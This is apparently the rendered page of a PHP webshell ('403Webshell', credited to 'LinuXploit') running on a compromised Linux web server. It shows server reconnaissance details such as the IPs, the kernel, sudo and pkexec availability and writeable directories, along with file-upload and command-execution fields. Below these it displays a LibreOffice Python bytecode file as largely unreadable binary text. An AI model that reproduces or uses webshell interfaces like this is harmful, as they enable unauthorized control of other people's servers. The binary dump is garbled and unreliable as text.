403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/libreoffice/program/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/libreoffice/program/__pycache__/officehelper.cpython-310.pyc
o

BYZc��@sdddlZddlZddlmZddlmZddlZddlmZddl	m
ZGdd�de�Zdd	�Z
dS)
�N)�platform)�sleep)�NoConnectException)�	Exceptionc@seZdZdS)�BootstrapExceptionN)�__name__�
__module__�__qualname__�r
r
�,/usr/lib/libreoffice/program/officehelper.pyr"src	
Cs2z|dtjvrtjd}nd}tj�|d�}t�d�r|d7}t��dtt���dd�}|d	d
d�d|dg�f}t�	tj
||�t��}|j
�d
|�}d�d|dg�}d}	z	|�|�}WW|Sty{|d8}|dkrutdd��td�YnwqXty��ty�}z	tdt|�d��d}~ww)a?Bootstrap OOo and PyUNO Runtime.
    The soffice process is started opening a named pipe of random name, then the local context is used
	to access the pipe. This function directly returns the remote component context, from whereon you can
	get the ServiceManager by calling getServiceManager() on the returned object.
	�UNO_PATH��soffice�winz.exe�uno�Nz--nologoz--nodefaultz--accept=pipe,name=z;urp;z"com.sun.star.bridge.UnoUrlResolverzuno:pipe,name=z ;urp;StarOffice.ComponentContext�T�rz!Cannot connect to soffice server.g�?zCaught exception )�os�environ�path�joinr�
startswith�random�seed�str�spawnv�P_NOWAITr�getComponentContext�ServiceManager�createInstanceWithContext�resolverrrr)	�sOffice�	sPipeName�cmdArray�
xLocalContext�resolver�sConnect�nLoop�xContext�er
r
r�	bootstrap%sF

�
�
��
��r+)rr�sysr�timerr�com.sun.star.connectionr�com.sun.star.unor�UnoExceptionrr+r
r
r
r�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit